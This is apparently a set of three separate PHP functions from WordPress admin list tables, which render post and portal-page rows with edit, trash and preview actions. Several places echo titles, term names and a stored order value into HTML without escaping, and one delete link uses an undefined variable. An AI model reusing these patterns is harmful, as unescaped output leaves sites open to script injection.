function cwp_post_row($a_post, $pending_comments, $mode, $page) { global $post; static $rowclass; $global_post = $post; $post = $a_post; setup_postdata($post); $rowclass = 'alternate' == $rowclass ? '' : 'alternate'; $rowclass = apply_filters('cwp_post_row_class', $rowclass, $post, $page); global $current_user; $post_owner = $current_user->ID == $post->post_author ? 'self' : 'other'; $edit_link = $page->get_edit_link($post->ID); $delete_link = add_query_arg('post', $post->ID, add_query_arg('action', 'delete', $page->get_page_url())); $trash_link = wp_nonce_url(add_query_arg('post', $post->ID, add_query_arg('action', 'trash', $page->get_page_url())), "trash-post_" . $post->ID); $untrash_link = wp_nonce_url(add_query_arg('post', $post->ID, add_query_arg('action', 'untrash', $page->get_page_url())), "untrash-post_" . $post->ID); $title = _draft_or_post_title(); ?> <tr id='post-<?php echo $post->ID; ?> ' class='<?php echo trim($rowclass . ' author-' . $post_owner . ' status-' . $post->post_status); ?> iedit' valign="top"> <?php $posts_columns = get_column_headers('cwp_manage'); $hidden = get_hidden_columns('edit'); foreach ($posts_columns as $column_name => $column_display_name) { $class = "class=\"{$column_name} column-{$column_name}\""; $style = ''; if (in_array($column_name, $hidden)) { $style = ' style="display:none;"'; } $attributes = "{$class}{$style}"; switch ($column_name) { case 'cb': ?> <th scope="row" class="check-column"><?php if (current_user_can('edit_post', $post->ID)) { ?> <input type="checkbox" name="post[]" value="<?php the_ID(); ?> " /><?php } ?> </th> <?php break; case 'date': if ('0000-00-00 00:00:00' == $post->post_date && 'date' == $column_name) { $t_time = $h_time = __('Unpublished'); $time_diff = 0; } else { $t_time = get_the_time(__('Y/m/d g:i:s A')); $m_time = $post->post_date; $time = get_post_time('G', true, $post); $time_diff = time() - $time; if ($time_diff > 0 && $time_diff < 24 * 60 * 60) { $h_time = sprintf(__('%s ago'), human_time_diff($time)); } else { $h_time = mysql2date(__('Y/m/d'), $m_time); } } echo '<td ' . $attributes . '>'; if ('excerpt' == $mode) { echo apply_filters('post_date_column_time', $t_time, $post, $column_name, $mode); } else { echo '<abbr title="' . $t_time . '">' . apply_filters('post_date_column_time', $h_time, $post, $column_name, $mode) . '</abbr>'; } echo '<br />'; if ('publish' == $post->post_status) { _e('Published'); } elseif ('future' == $post->post_status) { if ($time_diff > 0) { echo '<strong class="attention">' . __('Missed schedule') . '</strong>'; } else { _e('Scheduled'); } } else { _e('Last Modified'); } echo '</td>'; break; case 'title': $attributes = 'class="post-title column-title"' . $style; ?> <td <?php echo $attributes; ?> ><strong><?php if (current_user_can('edit_post', $post->ID)) { ?> <a class="row-title" href="<?php echo $edit_link; ?> " title="<?php echo esc_attr(sprintf(__('Edit “%s”'), $title)); ?> "><?php echo $title; ?> </a><?php } else { echo $title; } _post_states($post); ?> </strong> <?php if ('excerpt' == $mode) { the_excerpt(); } $actions = array(); if (current_user_can('edit_post', $post->ID)) { $actions['edit'] = '<a href="' . $edit_link . '" title="' . esc_attr(__('Edit this post')) . '">' . __('Edit') . '</a>'; } if (current_user_can('delete_post', $post->ID)) { if ('trash' == $post->post_status) { $actions['untrash'] = "<a title='" . esc_attr(__('Restore this post from the Trash')) . "' href='" . $untrash_link . "'>" . __('Restore') . "</a>"; } elseif (EMPTY_TRASH_DAYS) { $actions['trash'] = "<a class='submitdelete' title='" . esc_attr(__('Move this post to the Trash')) . "' href='" . $trash_link . "'>" . __('Trash') . "</a>"; } if ('trash' == $post->post_status || !EMPTY_TRASH_DAYS) { $actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this post permanently')) . "' href='" . wp_nonce_url($delete_link, 'delete-post_' . $post->ID) . "'>" . __('Delete Permanently') . "</a>"; } } /* if ( current_user_can('delete_post', $post->ID) ) { $actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this post')) . "' href='" . wp_nonce_url($delete_link, 'delete-post_' . $post->ID) . "' onclick=\"if ( confirm('" . esc_js(sprintf( ('draft' == $post->post_status) ? __("You are about to delete this draft '%s'\n 'Cancel' to stop, 'OK' to delete.") : __("You are about to delete this post '%s'\n 'Cancel' to stop, 'OK' to delete."), $post->post_title )) . "') ) { return true;}return false;\">" . __('Delete') . "</a>"; } */ if (in_array($post->post_status, array('pending', 'draft'))) { if (current_user_can('edit_post', $post->ID)) { $actions['view'] = '<a href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('Preview “%s”'), $title)) . '" rel="permalink">' . __('Preview') . '</a>'; } } else { $actions['view'] = '<a href="' . get_permalink($post->ID) . '" title="' . esc_attr(sprintf(__('View “%s”'), $title)) . '" rel="permalink">' . __('View') . '</a>'; } $actions = apply_filters('post_row_actions', $actions, $post); $action_count = count($actions); $i = 0; echo '<div class="row-actions">'; foreach ($actions as $action => $link) { ++$i; $i == $action_count ? $sep = '' : ($sep = ' | '); echo "<span class='{$action}'>{$link}{$sep}</span>"; } echo '</div>'; get_inline_data($post); ?> </td> <?php break; case 'categories': ?> <td <?php echo $attributes; ?> ><?php $categories = get_the_category(); if (!empty($categories)) { $out = array(); foreach ($categories as $c) { $out[] = "<a href='edit.php?category_name={$c->slug}'> " . esc_html(sanitize_term_field('name', $c->name, $c->term_id, 'category', 'display')) . "</a>"; } echo join(', ', $out); } else { _e('Uncategorized'); } ?> </td> <?php break; case 'tags': ?> <td <?php echo $attributes; ?> ><?php $tags = get_the_tags($post->ID); if (!empty($tags)) { $out = array(); foreach ($tags as $c) { $out[] = "<a href='edit.php?tag={$c->slug}'> " . esc_html(sanitize_term_field('name', $c->name, $c->term_id, 'post_tag', 'display')) . "</a>"; } echo join(', ', $out); } else { _e('No Tags'); } ?> </td> <?php break; case 'comments': ?> <td <?php echo $attributes; ?> ><div class="post-com-count-wrapper"> <?php $pending_phrase = sprintf(__('%s pending'), number_format($pending_comments)); if ($pending_comments) { echo '<strong>'; } comments_number("<a href='edit-comments.php?p={$post->ID}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('0', 'comment count') . '</span></a>', "<a href='edit-comments.php?p={$post->ID}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('1', 'comment count') . '</span></a>', "<a href='edit-comments.php?p={$post->ID}' title='{$pending_phrase}' class='post-com-count'><span class='comment-count'>" . _x('%', 'comment count') . '</span></a>'); if ($pending_comments) { echo '</strong>'; } ?> </div></td> <?php break; case 'author': ?> <td <?php echo $attributes; ?> ><a href="edit.php?author=<?php the_author_meta('ID'); ?> "><?php the_author(); ?> </a></td> <?php break; case 'control_view': ?> <td><a href="<?php the_permalink(); ?> " rel="permalink" class="view"><?php _e('View'); ?> </a></td> <?php break; case 'control_edit': ?> <td><?php if (current_user_can('edit_post', $post->ID)) { echo "<a href='{$edit_link}' class='edit'>" . __('Edit') . "</a>"; } ?> </td> <?php break; case 'control_delete': ?> <td><?php if (current_user_can('delete_post', $post->ID)) { echo "<a href='" . wp_nonce_url("post.php?action=delete&post={$id}", 'delete-post_' . $post->ID) . "' class='delete'>" . __('Delete') . "</a>"; } ?> </td> <?php break; case is_taxonomy($column_name): ?> <td <?php echo $attributes; ?> ><?php $tags = wp_get_object_terms($post->ID, $column_name); if (!empty($tags)) { $out = array(); foreach ($tags as $c) { $out[] = "<a href=\"" . $page->get_edit_term_link($column_name, $c) . '">' . $c->name . "</a>"; } echo join(', ', $out); } else { _e('No ' . $column_display_name); } ?> </td> <?php break; case function_exists($column_name): ?> <td> <?php echo call_user_func_array($column_name, array($post)); ?> </td> <?php break; default: ?> <td <?php echo $attributes; ?> ><?php do_action('manage_posts_custom_column', $column_name, $post->ID); ?> </td> <?php break; } } ?> </tr> <?php $post = $global_post; }
/** * Handles the title column output. * * @since 4.3.0 * @access public * * @global string $mode * * @param WP_Post $post The current WP_Post object. */ public function column_title($post) { global $mode; if ($this->hierarchical_display) { if (0 === $this->current_level && (int) $post->post_parent > 0) { // Sent level 0 by accident, by default, or because we don't know the actual level. $find_main_page = (int) $post->post_parent; while ($find_main_page > 0) { $parent = get_post($find_main_page); if (is_null($parent)) { break; } $this->current_level++; $find_main_page = (int) $parent->post_parent; if (!isset($parent_name)) { /** This filter is documented in wp-includes/post-template.php */ $parent_name = apply_filters('the_title', $parent->post_title, $parent->ID); } } } } $pad = str_repeat('— ', $this->current_level); echo "<strong>"; $format = get_post_format($post->ID); if ($format) { $label = get_post_format_string($format); echo '<a href="' . esc_url(add_query_arg(array('post_format' => $format, 'post_type' => $post->post_type), 'edit.php')) . '" class="post-state-format post-format-icon post-format-' . $format . '" title="' . $label . '">' . $label . ":</a> "; } $can_edit_post = current_user_can('edit_post', $post->ID); $title = _draft_or_post_title(); if ($can_edit_post && $post->post_status != 'trash') { $edit_link = get_edit_post_link($post->ID); echo '<a class="row-title" href="' . $edit_link . '" title="' . esc_attr(sprintf(__('Edit “%s”'), $title)) . '">' . $pad . $title . '</a>'; } else { echo $pad . $title; } _post_states($post); if (isset($parent_name)) { $post_type_object = get_post_type_object($post->post_type); echo ' | ' . $post_type_object->labels->parent_item_colon . ' ' . esc_html($parent_name); } echo "</strong>\n"; if ($can_edit_post && $post->post_status != 'trash') { $lock_holder = wp_check_post_lock($post->ID); if ($lock_holder) { $lock_holder = get_userdata($lock_holder); $locked_avatar = get_avatar($lock_holder->ID, 18); $locked_text = esc_html(sprintf(__('%s is currently editing'), $lock_holder->display_name)); } else { $locked_avatar = $locked_text = ''; } echo '<div class="locked-info"><span class="locked-avatar">' . $locked_avatar . '</span> <span class="locked-text">' . $locked_text . "</span></div>\n"; } if (!is_post_type_hierarchical($this->screen->post_type) && 'excerpt' == $mode && current_user_can('read_post', $post->ID)) { the_excerpt(); } get_inline_data($post); }
function custom_portalpage_columns($column_name) { global $post, $wpdb; $current_page = 'wpclients_portal_pages'; if ($column_name == 'clients') { $users = $this->cc_get_assign_data_by_object('portal_page', $post->ID, 'client'); ?> <script type="text/javascript"> var site_url = '<?php echo site_url(); ?> '; </script> <div class="scroll_data"> <?php $link_array = array('data-id' => $post->ID, 'data-ajax' => 1, 'title' => sprintf(__('Assign %s to', WPC_CLIENT_TEXT_DOMAIN), $this->custom_titles['client']['p'])); $input_array = array('name' => 'wpc_clients_ajax[]', 'id' => 'wpc_clients_' . $post->ID, 'value' => implode(',', $users)); $additional_array = array('counter_value' => count($users)); $this->acc_assign_popup('client', isset($current_page) ? $current_page : '', $link_array, $input_array, $additional_array); ?> </div> <?php } if ($column_name == 'groups') { echo '<div class="scroll_data">'; $id_array = $this->cc_get_assign_data_by_object('portal_page', $post->ID, 'circle'); $link_array = array('data-id' => $post->ID, 'data-ajax' => 1, 'title' => sprintf(__('Assign %s to', WPC_CLIENT_TEXT_DOMAIN), $this->custom_titles['client']['s'] . ' ' . $this->custom_titles['circle']['p'])); $input_array = array('name' => 'wpc_circles_ajax[]', 'id' => 'wpc_circles_' . $post->ID, 'value' => implode(',', $id_array)); $additional_array = array('counter_value' => count($id_array)); $this->acc_assign_popup('circle', isset($current_page) ? $current_page : '', $link_array, $input_array, $additional_array); echo '</div>'; } if ($column_name == 'order') { $order = get_post_meta($post->ID, '_wpc_order_id', true); if (isset($order)) { echo '<div class="scroll_data">'; echo '<input type="number" name="clientpage_order_' . $post->ID . '" id="clientpage_order_' . $post->ID . '" style="width: 70px;" value="' . $order . '" onblur="update_order(' . $post->ID . ')" />'; echo '<span class="wpc_ajax_loading" style="display:none" id="order_' . $post->ID . '"></span>'; echo '</div>'; } } if ($column_name == 'portal_title') { $edit_link = get_edit_post_link($post->ID); $title = _draft_or_post_title(); $post_type_object = get_post_type_object($post->post_type); $can_edit_post = current_user_can($post_type_object->cap->edit_post, $post->ID); echo '<strong><a class="row-title" href="' . $edit_link . '">' . $title . '</a>'; _post_states($post); echo '</strong>'; if ($post->post_parent > 0) { echo ' ← <a href="' . get_edit_post_link($post->post_parent) . '">' . get_the_title($post->post_parent) . '</a>'; } // Excerpt view if (isset($_GET['mode']) && $_GET['mode'] == 'excerpt') { echo apply_filters('the_excerpt', $post->post_excerpt); } // Get actions $actions = array(); $actions['edit'] = '<a href="' . get_edit_post_link($post->ID, true) . '" title="' . esc_attr(__('Edit this item')) . '">' . __('Edit') . '</a>'; if ($can_edit_post && 'trash' != $post->post_status) { $actions['inline hide-if-no-js'] = '<a href="#" class="editinline" title="' . esc_attr(__('Edit this item inline', WPC_CLIENT_TEXT_DOMAIN)) . '">' . __('Quick Edit', WPC_CLIENT_TEXT_DOMAIN) . '</a>'; } if (current_user_can($post_type_object->cap->delete_post, $post->ID)) { if ('trash' == $post->post_status) { $actions['untrash'] = "<a title='" . esc_attr(__('Restore this item from the Trash', WPC_CLIENT_TEXT_DOMAIN)) . "' href='" . wp_nonce_url(admin_url(sprintf($post_type_object->_edit_link . '&action=untrash', $post->ID)), 'untrash-post_' . $post->ID) . "'>" . __('Restore', WPC_CLIENT_TEXT_DOMAIN) . "</a>"; } elseif (EMPTY_TRASH_DAYS) { $actions['trash'] = "<a class='submitdelete' title='" . esc_attr(__('Move this item to the Trash', WPC_CLIENT_TEXT_DOMAIN)) . "' href='" . get_delete_post_link($post->ID) . "'>" . __('Trash', WPC_CLIENT_TEXT_DOMAIN) . "</a>"; } if ('trash' == $post->post_status || !EMPTY_TRASH_DAYS) { $actions['delete'] = "<a class='submitdelete' title='" . esc_attr(__('Delete this item permanently', WPC_CLIENT_TEXT_DOMAIN)) . "' href='" . get_delete_post_link($post->ID, '', true) . "'>" . __('Delete Permanently', WPC_CLIENT_TEXT_DOMAIN) . "</a>"; } } if ($post_type_object->public) { if ('trash' != $post->post_status) { //make link if ($this->permalinks) { $portal_page_preview_url = $this->cc_get_slug('portal_page_id') . $post->post_name; } else { $portal_page_preview_url = add_query_arg(array('wpc_page' => 'portal_page', 'wpc_page_value' => $post->post_name), $this->cc_get_slug('portal_page_id', false)); } $actions['view'] = '<a href="' . $portal_page_preview_url . '" target="_blank" title="' . esc_attr(sprintf(__('Preview “%s”', WPC_CLIENT_TEXT_DOMAIN), $title)) . '" rel="permalink">' . __('Preview', WPC_CLIENT_TEXT_DOMAIN) . '</a>'; } } $actions = apply_filters('post_row_actions', $actions, $post); echo '<div class="row-actions">'; $i = 0; $action_count = sizeof($actions); foreach ($actions as $action => $link) { ++$i; $i == $action_count ? $sep = '' : ($sep = ' | '); echo "<span class='{$action}'>{$link}{$sep}</span>"; } echo '</div>'; get_inline_data($post); } }